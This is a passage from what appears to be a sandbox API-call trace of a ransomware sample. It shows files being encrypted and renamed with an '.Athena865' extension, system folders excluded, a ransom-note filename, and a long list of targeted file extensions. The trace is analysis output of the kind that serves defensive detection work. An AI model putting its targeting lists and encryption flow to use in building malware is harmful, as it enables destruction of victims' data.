hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.745] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.746] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa310, lpName=0x0) returned 0x154 [0049.746] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa310) returned 0x100000 [0049.747] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.748] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.748] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.750] lstrcpyW (in: lpString1=0x241e8c8, lpString2="GbpMWYbdbYVcsQiz.mp4" | out: lpString1="GbpMWYbdbYVcsQiz.mp4") returned="GbpMWYbdbYVcsQiz.mp4" [0049.750] lstrlenW (lpString="GbpMWYbdbYVcsQiz.mp4") returned 20 [0049.750] lstrlenW (lpString="Athena865") returned 9 [0049.750] lstrcmpiW (lpString1="csQiz.mp4", lpString2="Athena865") returned 1 [0049.750] lstrlenW (lpString=".dll") returned 4 [0049.750] lstrcmpiW (lpString1="GbpMWYbdbYVcsQiz.mp4", lpString2=".dll") returned 1 [0049.750] lstrlenW (lpString=".lnk") returned 4 [0049.750] lstrcmpiW (lpString1="GbpMWYbdbYVcsQiz.mp4", lpString2=".lnk") returned 1 [0049.750] lstrlenW (lpString=".ini") returned 4 [0049.750] lstrcmpiW (lpString1="GbpMWYbdbYVcsQiz.mp4", lpString2=".ini") returned 1 [0049.750] lstrlenW (lpString=".sys") returned 4 [0049.750] lstrcmpiW (lpString1="GbpMWYbdbYVcsQiz.mp4", lpString2=".sys") returned 1 [0049.750] lstrlenW (lpString="GbpMWYbdbYVcsQiz.mp4") returned 20 [0049.750] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\GbpMWYbdbYVcsQiz.mp4.Athena865") returned 94 [0049.751] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\GbpMWYbdbYVcsQiz.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\gbpmwybdbyvcsqiz.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\GbpMWYbdbYVcsQiz.mp4.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\gbpmwybdbyvcsqiz.mp4.athena865"), dwFlags=0x1) returned 1 [0049.751] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\GbpMWYbdbYVcsQiz.mp4.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\gbpmwybdbyvcsqiz.mp4.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.751] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25570) returned 1 [0049.752] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.753] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.753] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.753] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x66f0, lpName=0x0) returned 0x154 [0049.753] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x66f0) returned 0x100000 [0049.754] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.754] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.755] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e9a8 | out: hHeap=0x4f0000) returned 1 [0049.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.755] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.755] CloseHandle (hObject=0x154) returned 1 [0049.755] CloseHandle (hObject=0x17c) returned 1 [0049.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.757] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc7d4f0, ftCreationTime.dwHighDateTime=0x1d4cb29, ftLastAccessTime.dwLowDateTime=0x5c9dfbe0, ftLastAccessTime.dwHighDateTime=0x1d4ce75, ftLastWriteTime.dwLowDateTime=0x5c9dfbe0, ftLastWriteTime.dwHighDateTime=0x1d4ce75, nFileSizeHigh=0x0, nFileSizeLow=0x17bdd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="h0ScNVYm6.docx", cAlternateFileName="H0SCNV~1.DOC")) returned 1 [0049.757] lstrcmpiW (lpString1="h0ScNVYm6.docx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.757] lstrcmpiW (lpString1="h0ScNVYm6.docx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.757] lstrcmpiW (lpString1="h0ScNVYm6.docx", lpString2=".") returned 1 [0049.757] lstrcmpiW (lpString1="h0ScNVYm6.docx", lpString2="..") returned 1 [0049.757] lstrcmpiW (lpString1="h0ScNVYm6.docx", lpString2="windows") returned -1 [0049.757] lstrcmpiW (lpString1="h0ScNVYm6.docx", lpString2="bootmgr") returned 1 [0049.757] lstrcmpiW (lpString1="h0ScNVYm6.docx", lpString2="temp") returned -1 [0049.757] lstrcmpiW (lpString1="h0ScNVYm6.docx", lpString2="pagefile.sys") returned -1 [0049.757] lstrcmpiW (lpString1="h0ScNVYm6.docx", lpString2="boot") returned 1 [0049.757] lstrcmpiW (lpString1="h0ScNVYm6.docx", lpString2="ids.txt") returned -1 [0049.757] lstrcmpiW (lpString1="h0ScNVYm6.docx", lpString2="ntuser.dat") returned -1 [0049.757] lstrcmpiW (lpString1="h0ScNVYm6.docx", lpString2="perflogs") returned -1 [0049.757] lstrcmpiW (lpString1="h0ScNVYm6.docx", lpString2="MSBuild") returned -1 [0049.757] lstrlenW (lpString="h0ScNVYm6.docx") returned 14 [0049.757] lstrcpyW (in: lpString1=0x241e8c8, lpString2="h0ScNVYm6.docx" | out: lpString1="h0ScNVYm6.docx") returned="h0ScNVYm6.docx" [0049.757] lstrlenW (lpString="h0ScNVYm6.docx") returned 14 [0049.757] lstrlenW (lpString="Athena865") returned 9 [0049.757] lstrcmpiW (lpString1="VYm6.docx", lpString2="Athena865") returned 1 [0049.757] lstrlenW (lpString=".dll") returned 4 [0049.757] lstrcmpiW (lpString1="h0ScNVYm6.docx", lpString2=".dll") returned 1 [0049.757] lstrlenW (lpString=".lnk") returned 4 [0049.757] lstrcmpiW (lpString1="h0ScNVYm6.docx", lpString2=".lnk") returned 1 [0049.757] lstrlenW (lpString=".ini") returned 4 [0049.757] lstrcmpiW (lpString1="h0ScNVYm6.docx", lpString2=".ini") returned 1 [0049.757] lstrlenW (lpString=".sys") returned 4 [0049.757] lstrcmpiW (lpString1="h0ScNVYm6.docx", lpString2=".sys") returned 1 [0049.758] lstrlenW (lpString="h0ScNVYm6.docx") returned 14 [0049.758] lstrlenW (lpString="bak") returned 3 [0049.758] lstrcmpiW (lpString1="ocx", lpString2="bak") returned 1 [0049.758] lstrlenW (lpString="ba_") returned 3 [0049.758] lstrcmpiW (lpString1="ocx", lpString2="ba_") returned 1 [0049.758] lstrlenW (lpString="dbb") returned 3 [0049.758] lstrcmpiW (lpString1="ocx", lpString2="dbb") returned 1 [0049.758] lstrlenW (lpString="vmdk") returned 4 [0049.758] lstrcmpiW (lpString1="docx", lpString2="vmdk") returned -1 [0049.758] lstrlenW (lpString="rar") returned 3 [0049.758] lstrcmpiW (lpString1="ocx", lpString2="rar") returned -1 [0049.758] lstrlenW (lpString="zip") returned 3 [0049.758] lstrcmpiW (lpString1="ocx", lpString2="zip") returned -1 [0049.758] lstrlenW (lpString="tgz") returned 3 [0049.758] lstrcmpiW (lpString1="ocx", lpString2="tgz") returned -1 [0049.758] lstrlenW (lpString="vbox") returned 4 [0049.758] lstrcmpiW (lpString1="docx", lpString2="vbox") returned -1 [0049.758] lstrlenW (lpString="vdi") returned 3 [0049.758] lstrcmpiW (lpString1="ocx", lpString2="vdi") returned -1 [0049.758] lstrlenW (lpString="vhd") returned 3 [0049.758] lstrcmpiW (lpString1="ocx", lpString2="vhd") returned -1 [0049.758] lstrlenW (lpString="vhdx") returned 4 [0049.758] lstrcmpiW (lpString1="docx", lpString2="vhdx") returned -1 [0049.758] lstrlenW (lpString="avhd") returned 4 [0049.758] lstrcmpiW (lpString1="docx", lpString2="avhd") returned 1 [0049.758] lstrlenW (lpString="db") returned 2 [0049.758] lstrcmpiW (lpString1="cx", lpString2="db") returned -1 [0049.758] lstrlenW (lpString="db2") returned 3 [0049.758] lstrcmpiW (lpString1="ocx", lpString2="db2") returned 1 [0049.758] lstrlenW (lpString="db3") returned 3 [0049.758] lstrcmpiW (lpString1="ocx", lpString2="db3") returned 1 [0049.758] lstrlenW (lpString="dbf") returned 3 [0049.758] lstrcmpiW (lpString1="ocx", lpString2="dbf") returned 1 [0049.758] lstrlenW (lpString="mdf") returned 3 [0049.758] lstrcmpiW (lpString1="ocx", lpString2="mdf") returned 1 [0049.759] lstrlenW (lpString="mdb") returned 3 [0049.759] lstrcmpiW (lpString1="ocx", lpString2="mdb") returned 1 [0049.759] lstrlenW (lpString="sql") returned 3 [0049.759] lstrcmpiW (lpString1="ocx", lpString2="sql") returned -1 [0049.759] lstrlenW (lpString="sqlite") returned 6 [0049.759] lstrcmpiW (lpString1="6.docx", lpString2="sqlite") returned -1 [0049.759] lstrlenW (lpString="sqlite3") returned 7 [0049.759] lstrcmpiW (lpString1="m6.docx", lpString2="sqlite3") returned -1 [0049.759] lstrlenW (lpString="sqlitedb") returned 8 [0049.759] lstrcmpiW (lpString1="Ym6.docx", lpString2="sqlitedb") returned 1 [0049.759] lstrlenW (lpString="xml") returned 3 [0049.759] lstrcmpiW (lpString1="ocx", lpString2="xml") returned -1 [0049.759] lstrlenW (lpString="$er") returned 3 [0049.759] lstrcmpiW (lpString1="ocx", lpString2="$er") returned 1 [0049.759] lstrlenW (lpString="4dd") returned 3 [0049.759] lstrcmpiW (lpString1="ocx", lpString2="4dd") returned 1 [0049.759] lstrlenW (lpString="4dl") returned 3 [0049.759] lstrcmpiW (lpString1="ocx", lpString2="4dl") returned 1 [0049.759] lstrlenW (lpString="^^^") returned 3 [0049.759] lstrcmpiW (lpString1="ocx", lpString2="^^^") returned 1 [0049.759] lstrlenW (lpString="abs") returned 3 [0049.759] lstrcmpiW (lpString1="ocx", lpString2="abs") returned 1 [0049.759] lstrlenW (lpString="abx") returned 3 [0049.759] lstrcmpiW (lpString1="ocx", lpString2="abx") returned 1 [0049.759] lstrlenW (lpString="accdb") returned 5 [0049.759] lstrcmpiW (lpString1=".docx", lpString2="accdb") returned -1 [0049.759] lstrlenW (lpString="accdc") returned 5 [0049.759] lstrcmpiW (lpString1=".docx", lpString2="accdc") returned -1 [0049.759] lstrlenW (lpString="accde") returned 5 [0049.759] lstrcmpiW (lpString1=".docx", lpString2="accde") returned -1 [0049.759] lstrlenW (lpString="accdr") returned 5 [0049.759] lstrcmpiW (lpString1=".docx", lpString2="accdr") returned -1 [0049.759] lstrlenW (lpString="accdt") returned 5 [0049.759] lstrcmpiW (lpString1=".docx", lpString2="accdt") returned -1 [0049.759] lstrlenW (lpString="accdw") returned 5 [0049.759] lstrcmpiW (lpString1=".docx", lpString2="accdw") returned -1 [0049.760] lstrlenW (lpString="accft") returned 5 [0049.760] lstrcmpiW (lpString1=".docx", lpString2="accft") returned -1 [0049.760] lstrlenW (lpString="adb") returned 3 [0049.760] lstrcmpiW (lpString1="ocx", lpString2="adb") returned 1 [0049.760] lstrlenW (lpString="adb") returned 3 [0049.760] lstrcmpiW (lpString1="ocx", lpString2="adb") returned 1 [0049.760] lstrlenW (lpString="ade") returned 3 [0049.760] lstrcmpiW (lpString1="ocx", lpString2="ade") returned 1 [0049.760] lstrlenW (lpString="adf") returned 3 [0049.760] lstrcmpiW (lpString1="ocx", lpString2="adf") returned 1 [0049.760] lstrlenW (lpString="adn") returned 3 [0049.760] lstrcmpiW (lpString1="ocx", lpString2="adn") returned 1 [0049.760] lstrlenW (lpString="adp") returned 3 [0049.760] lstrcmpiW (lpString1="ocx", lpString2="adp") returned 1 [0049.760] lstrlenW (lpString="alf") returned 3 [0049.760] lstrcmpiW (lpString1="ocx", lpString2="alf") returned 1 [0049.760] lstrlenW (lpString="ask") returned 3 [0049.760] lstrcmpiW (lpString1="ocx", lpString2="ask") returned 1 [0049.760] lstrlenW (lpString="btr") returned 3 [0049.760] lstrcmpiW (lpString1="ocx", lpString2="btr") returned 1 [0049.760] lstrlenW (lpString="cat") returned 3 [0049.760] lstrcmpiW (lpString1="ocx", lpString2="cat") returned 1 [0049.760] lstrlenW (lpString="cdb") returned 3 [0049.760] lstrcmpiW (lpString1="ocx", lpString2="cdb") returned 1 [0049.760] lstrlenW (lpString="ckp") returned 3 [0049.760] lstrcmpiW (lpString1="ocx", lpString2="ckp") returned 1 [0049.760] lstrlenW (lpString="cma") returned 3 [0049.760] lstrcmpiW (lpString1="ocx", lpString2="cma") returned 1 [0049.760] lstrlenW (lpString="cpd") returned 3 [0049.760] lstrcmpiW (lpString1="ocx", lpString2="cpd") returned 1 [0049.760] lstrlenW (lpString="dacpac") returned 6 [0049.760] lstrcmpiW (lpString1="6.docx", lpString2="dacpac") returned -1 [0049.760] lstrlenW (lpString="dad") returned 3 [0049.760] lstrcmpiW (lpString1="ocx", lpString2="dad") returned 1 [0049.760] lstrlenW (lpString="dadiagrams") returned 10 [0049.761] lstrcmpiW (lpString1="NVYm6.docx", lpString2="dadiagrams") returned 1 [0049.761] lstrlenW (lpString="daschema") returned 8 [0049.761] lstrcmpiW (lpString1="Ym6.docx", lpString2="daschema") returned 1 [0049.761] lstrlenW (lpString="db-journal") returned 10 [0049.761] lstrcmpiW (lpString1="NVYm6.docx", lpString2="db-journal") returned 1 [0049.761] lstrlenW (lpString="db-shm") returned 6 [0049.761] lstrcmpiW (lpString1="6.docx", lpString2="db-shm") returned -1 [0049.761] lstrlenW (lpString="db-wal") returned 6 [0049.761] lstrcmpiW (lpString1="6.docx", lpString2="db-wal") returned -1 [0049.761] lstrlenW (lpString="dbc") returned 3 [0049.761] lstrcmpiW (lpString1="ocx", lpString2="dbc") returned 1 [0049.761] lstrlenW (lpString="dbs") returned 3 [0049.761] lstrcmpiW (lpString1="ocx", lpString2="dbs") returned 1 [0049.761] lstrlenW (lpString="dbt") returned 3 [0049.761] lstrcmpiW (lpString1="ocx", lpString2="dbt") returned 1 [0049.761] lstrlenW (lpString="dbv") returned 3 [0049.761] lstrcmpiW (lpString1="ocx", lpString2="dbv") returned 1 [0049.761] lstrlenW (lpString="dbx") returned 3 [0049.761] lstrcmpiW (lpString1="ocx", lpString2="dbx") returned 1 [0049.761] lstrlenW (lpString="dcb") returned 3 [0049.761] lstrcmpiW (lpString1="ocx", lpString2="dcb") returned 1 [0049.761] lstrlenW (lpString="dct") returned 3 [0049.761] lstrcmpiW (lpString1="ocx", lpString2="dct") returned 1 [0049.761] lstrlenW (lpString="dcx") returned 3 [0049.761] lstrcmpiW (lpString1="ocx", lpString2="dcx") returned 1 [0049.761] lstrlenW (lpString="ddl") returned 3 [0049.761] lstrcmpiW (lpString1="ocx", lpString2="ddl") returned 1 [0049.761] lstrlenW (lpString="dlis") returned 4 [0049.761] lstrcmpiW (lpString1="docx", lpString2="dlis") returned 1 [0049.761] lstrlenW (lpString="dp1") returned 3 [0049.761] lstrcmpiW (lpString1="ocx", lpString2="dp1") returned 1 [0049.761] lstrlenW (lpString="dqy") returned 3 [0049.761] lstrcmpiW (lpString1="ocx", lpString2="dqy") returned 1 [0049.761] lstrlenW (lpString="dsk") returned 3 [0049.761] lstrcmpiW (lpString1="ocx", lpString2="dsk") returned 1 [0049.761] lstrlenW (lpString="dsn") returned 3 [0049.762] lstrcmpiW (lpString1="ocx", lpString2="dsn") returned 1 [0049.762] lstrlenW (lpString="dtsx") returned 4 [0049.762] lstrcmpiW (lpString1="docx", lpString2="dtsx") returned -1 [0049.762] lstrlenW (lpString="dxl") returned 3 [0049.762] lstrcmpiW (lpString1="ocx", lpString2="dxl") returned 1 [0049.762] lstrlenW (lpString="eco") returned 3 [0049.762] lstrcmpiW (lpString1="ocx", lpString2="eco") returned 1 [0049.762] lstrlenW (lpString="ecx") returned 3 [0049.762] lstrcmpiW (lpString1="ocx", lpString2="ecx") returned 1 [0049.762] lstrlenW (lpString="edb") returned 3 [0049.762] lstrcmpiW (lpString1="ocx", lpString2="edb") returned 1 [0049.762] lstrlenW (lpString="epim") returned 4 [0049.762] lstrcmpiW (lpString1="docx", lpString2="epim") returned -1 [0049.762] lstrlenW (lpString="fcd") returned 3 [0049.762] lstrcmpiW (lpString1="ocx", lpString2="fcd") returned 1 [0049.762] lstrlenW (lpString="fdb") returned 3 [0049.762] lstrcmpiW (lpString1="ocx", lpString2="fdb") returned 1 [0049.762] lstrlenW (lpString="fic") returned 3 [0049.762] lstrcmpiW (lpString1="ocx", lpString2="fic") returned 1 [0049.762] lstrlenW (lpString="flexolibrary") returned 12 [0049.762] lstrcmpiW (lpString1="ScNVYm6.docx", lpString2="flexolibrary") returned 1 [0049.762] lstrlenW (lpString="fm5") returned 3 [0049.762] lstrcmpiW (lpString1="ocx", lpString2="fm5") returned 1 [0049.762] lstrlenW (lpString="fmp") returned 3 [0049.762] lstrcmpiW (lpString1="ocx", lpString2="fmp") returned 1 [0049.762] lstrlenW (lpString="fmp12") returned 5 [0049.762] lstrcmpiW (lpString1=".docx", lpString2="fmp12") returned -1 [0049.762] lstrlenW (lpString="fmpsl") returned 5 [0049.762] lstrcmpiW (lpString1=".docx", lpString2="fmpsl") returned -1 [0049.762] lstrlenW (lpString="fol") returned 3 [0049.762] lstrcmpiW (lpString1="ocx", lpString2="fol") returned 1 [0049.762] lstrlenW (lpString="fp3") returned 3 [0049.762] lstrcmpiW (lpString1="ocx", lpString2="fp3") returned 1 [0049.762] lstrlenW (lpString="fp4") returned 3 [0049.762] lstrcmpiW (lpString1="ocx", lpString2="fp4") returned 1 [0049.762] lstrlenW (lpString="fp5") returned 3 [0049.763] lstrcmpiW (lpString1="ocx", lpString2="fp5") returned 1 [0049.763] lstrlenW (lpString="fp7") returned 3 [0049.763] lstrcmpiW (lpString1="ocx", lpString2="fp7") returned 1 [0049.763] lstrlenW (lpString="fpt") returned 3 [0049.763] lstrcmpiW (lpString1="ocx", lpString2="fpt") returned 1 [0049.763] lstrlenW (lpString="frm") returned 3 [0049.763] lstrcmpiW (lpString1="ocx", lpString2="frm") returned 1 [0049.763] lstrlenW (lpString="gdb") returned 3 [0049.763] lstrcmpiW (lpString1="ocx", lpString2="gdb") returned 1 [0049.763] lstrlenW (lpString="gdb") returned 3 [0049.763] lstrcmpiW (lpString1="ocx", lpString2="gdb") returned 1 [0049.763] lstrlenW (lpString="grdb") returned 4 [0049.763] lstrcmpiW (lpString1="docx", lpString2="grdb") returned -1 [0049.763] lstrlenW (lpString="gwi") returned 3 [0049.763] lstrcmpiW (lpString1="ocx", lpString2="gwi") returned 1 [0049.763] lstrlenW (lpString="hdb") returned 3 [0049.763] lstrcmpiW (lpString1="ocx", lpString2="hdb") returned 1 [0049.763] lstrlenW (lpString="his") returned 3 [0049.763] lstrcmpiW (lpString1="ocx", lpString2="his") returned 1 [0049.763] lstrlenW (lpString="ib") returned 2 [0049.763] lstrcmpiW (lpString1="cx", lpString2="ib") returned -1 [0049.763] lstrlenW (lpString="idb") returned 3 [0049.763] lstrcmpiW (lpString1="ocx", lpString2="idb") returned 1 [0049.763] lstrlenW (lpString="ihx") returned 3 [0049.763] lstrcmpiW (lpString1="ocx", lpString2="ihx") returned 1 [0049.763] lstrlenW (lpString="itdb") returned 4 [0049.763] lstrcmpiW (lpString1="docx", lpString2="itdb") returned -1 [0049.763] lstrlenW (lpString="itw") returned 3 [0049.763] lstrcmpiW (lpString1="ocx", lpString2="itw") returned 1 [0049.763] lstrlenW (lpString="jet") returned 3 [0049.763] lstrcmpiW (lpString1="ocx", lpString2="jet") returned 1 [0049.763] lstrlenW (lpString="jtx") returned 3 [0049.763] lstrcmpiW (lpString1="ocx", lpString2="jtx") returned 1 [0049.763] lstrlenW (lpString="kdb") returned 3 [0049.763] lstrcmpiW (lpString1="ocx", lpString2="kdb") returned 1 [0049.763] lstrlenW (lpString="kexi") returned 4 [0049.764] lstrcmpiW (lpString1="docx", lpString2="kexi") returned -1 [0049.764] lstrlenW (lpString="kexic") returned 5 [0049.764] lstrcmpiW (lpString1=".docx", lpString2="kexic") returned -1 [0049.764] lstrlenW (lpString="kexis") returned 5 [0049.764] lstrcmpiW (lpString1=".docx", lpString2="kexis") returned -1 [0049.764] lstrlenW (lpString="lgc") returned 3 [0049.764] lstrcmpiW (lpString1="ocx", lpString2="lgc") returned 1 [0049.764] lstrlenW (lpString="lwx") returned 3 [0049.764] lstrcmpiW (lpString1="ocx", lpString2="lwx") returned 1 [0049.764] lstrlenW (lpString="maf") returned 3 [0049.764] lstrcmpiW (lpString1="ocx", lpString2="maf") returned 1 [0049.764] lstrlenW (lpString="maq") returned 3 [0049.764] lstrcmpiW (lpString1="ocx", lpString2="maq") returned 1 [0049.764] lstrlenW (lpString="mar") returned 3 [0049.764] lstrcmpiW (lpString1="ocx", lpString2="mar") returned 1 [0049.764] lstrlenW (lpString="marshal") returned 7 [0049.764] lstrcmpiW (lpString1="m6.docx", lpString2="marshal") returned -1 [0049.764] lstrlenW (lpString="mas") returned 3 [0049.764] lstrcmpiW (lpString1="ocx", lpString2="mas") returned 1 [0049.764] lstrlenW (lpString="mav") returned 3 [0049.764] lstrcmpiW (lpString1="ocx", lpString2="mav") returned 1 [0049.764] lstrlenW (lpString="maw") returned 3 [0049.764] lstrcmpiW (lpString1="ocx", lpString2="maw") returned 1 [0049.764] lstrlenW (lpString="mdbhtml") returned 7 [0049.764] lstrcmpiW (lpString1="m6.docx", lpString2="mdbhtml") returned -1 [0049.764] lstrlenW (lpString="mdn") returned 3 [0049.764] lstrcmpiW (lpString1="ocx", lpString2="mdn") returned 1 [0049.764] lstrlenW (lpString="mdt") returned 3 [0049.764] lstrcmpiW (lpString1="ocx", lpString2="mdt") returned 1 [0049.764] lstrlenW (lpString="mfd") returned 3 [0049.764] lstrcmpiW (lpString1="ocx", lpString2="mfd") returned 1 [0049.764] lstrlenW (lpString="mpd") returned 3 [0049.764] lstrcmpiW (lpString1="ocx", lpString2="mpd") returned 1 [0049.764] lstrlenW (lpString="mrg") returned 3 [0049.764] lstrcmpiW (lpString1="ocx", lpString2="mrg") returned 1 [0049.764] lstrlenW (lpString="mud") returned 3 [0049.765] lstrcmpiW (lpString1="ocx", lpString2="mud") returned 1 [0049.765] lstrlenW (lpString="mwb") returned 3 [0049.765] lstrcmpiW (lpString1="ocx", lpString2="mwb") returned 1 [0049.765] lstrlenW (lpString="myd") returned 3 [0049.765] lstrcmpiW (lpString1="ocx", lpString2="myd") returned 1 [0049.765] lstrlenW (lpString="ndf") returned 3 [0049.765] lstrcmpiW (lpString1="ocx", lpString2="ndf") returned 1 [0049.765] lstrlenW (lpString="nnt") returned 3 [0049.765] lstrcmpiW (lpString1="ocx", lpString2="nnt") returned 1 [0049.765] lstrlenW (lpString="nrmlib") returned 6 [0049.765] lstrcmpiW (lpString1="6.docx", lpString2="nrmlib") returned -1 [0049.765] lstrlenW (lpString="ns2") returned 3 [0049.765] lstrcmpiW (lpString1="ocx", lpString2="ns2") returned 1 [0049.765] lstrlenW (lpString="ns3") returned 3 [0049.765] lstrcmpiW (lpString1="ocx", lpString2="ns3") returned 1 [0049.765] lstrlenW (lpString="ns4") returned 3 [0049.765] lstrcmpiW (lpString1="ocx", lpString2="ns4") returned 1 [0049.765] lstrlenW (lpString="nsf") returned 3 [0049.765] lstrcmpiW (lpString1="ocx", lpString2="nsf") returned 1 [0049.765] lstrlenW (lpString="nv") returned 2 [0049.765] lstrcmpiW (lpString1="cx", lpString2="nv") returned -1 [0049.765] lstrlenW (lpString="nv2") returned 3 [0049.765] lstrcmpiW (lpString1="ocx", lpString2="nv2") returned 1 [0049.765] lstrlenW (lpString="nwdb") returned 4 [0049.765] lstrcmpiW (lpString1="docx", lpString2="nwdb") returned -1 [0049.765] lstrlenW (lpString="nyf") returned 3 [0049.765] lstrcmpiW (lpString1="ocx", lpString2="nyf") returned 1 [0049.765] lstrlenW (lpString="odb") returned 3 [0049.765] lstrcmpiW (lpString1="ocx", lpString2="odb") returned -1 [0049.765] lstrlenW (lpString="odb") returned 3 [0049.765] lstrcmpiW (lpString1="ocx", lpString2="odb") returned -1 [0049.765] lstrlenW (lpString="oqy") returned 3 [0049.765] lstrcmpiW (lpString1="ocx", lpString2="oqy") returned -1 [0049.765] lstrlenW (lpString="ora") returned 3 [0049.765] lstrcmpiW (lpString1="ocx", lpString2="ora") returned -1 [0049.766] lstrlenW (lpString="orx") returned 3 [0049.766] lstrcmpiW (lpString1="ocx", lpString2="orx") returned -1 [0049.766] lstrlenW (lpString="owc") returned 3 [0049.766] lstrcmpiW (lpString1="ocx", lpString2="owc") returned -1 [0049.766] lstrlenW (lpString="p96") returned 3 [0049.766] lstrcmpiW (lpString1="ocx", lpString2="p96") returned -1 [0049.766] lstrlenW (lpString="p97") returned 3 [0049.766] lstrcmpiW (lpString1="ocx", lpString2="p97") returned -1 [0049.766] lstrlenW (lpString="pan") returned 3 [0049.766] lstrcmpiW (lpString1="ocx", lpString2="pan") returned -1 [0049.766] lstrlenW (lpString="pdb") returned 3 [0049.766] lstrcmpiW (lpString1="ocx", lpString2="pdb") returned -1 [0049.766] lstrlenW (lpString="pdm") returned 3 [0049.766] lstrcmpiW (lpString1="ocx", lpString2="pdm") returned -1 [0049.766] lstrlenW (lpString="pnz") returned 3 [0049.766] lstrcmpiW (lpString1="ocx", lpString2="pnz") returned -1 [0049.766] lstrlenW (lpString="qry") returned 3 [0049.766] lstrcmpiW (lpString1="ocx", lpString2="qry") returned -1 [0049.766] lstrlenW (lpString="qvd") returned 3 [0049.766] lstrcmpiW (lpString1="ocx", lpString2="qvd") returned -1 [0049.766] lstrlenW (lpString="rbf") returned 3 [0049.766] lstrcmpiW (lpString1="ocx", lpString2="rbf") returned -1 [0049.766] lstrlenW (lpString="rctd") returned 4 [0049.766] lstrcmpiW (lpString1="docx", lpString2="rctd") returned -1 [0049.766] lstrlenW (lpString="rod") returned 3 [0049.766] lstrcmpiW (lpString1="ocx", lpString2="rod") returned -1 [0049.766] lstrlenW (lpString="rodx") returned 4 [0049.766] lstrcmpiW (lpString1="docx", lpString2="rodx") returned -1 [0049.766] lstrlenW (lpString="rpd") returned 3 [0049.766] lstrcmpiW (lpString1="ocx", lpString2="rpd") returned -1 [0049.767] lstrlenW (lpString="rsd") returned 3 [0049.767] lstrcmpiW (lpString1="ocx", lpString2="rsd") returned -1 [0049.767] lstrlenW (lpString="sas7bdat") returned 8 [0049.767] lstrcmpiW (lpString1="Ym6.docx", lpString2="sas7bdat") returned 1 [0049.767] lstrlenW (lpString="sbf") returned 3 [0049.767] lstrcmpiW (lpString1="ocx", lpString2="sbf") returned -1 [0049.767] lstrlenW (lpString="scx") returned 3 [0049.767] lstrcmpiW (lpString1="ocx", lpString2="scx") returned -1 [0049.767] lstrlenW (lpString="sdb") returned 3 [0049.767] lstrcmpiW (lpString1="ocx", lpString2="sdb") returned -1 [0049.767] lstrlenW (lpString="sdc") returned 3 [0049.767] lstrcmpiW (lpString1="ocx", lpString2="sdc") 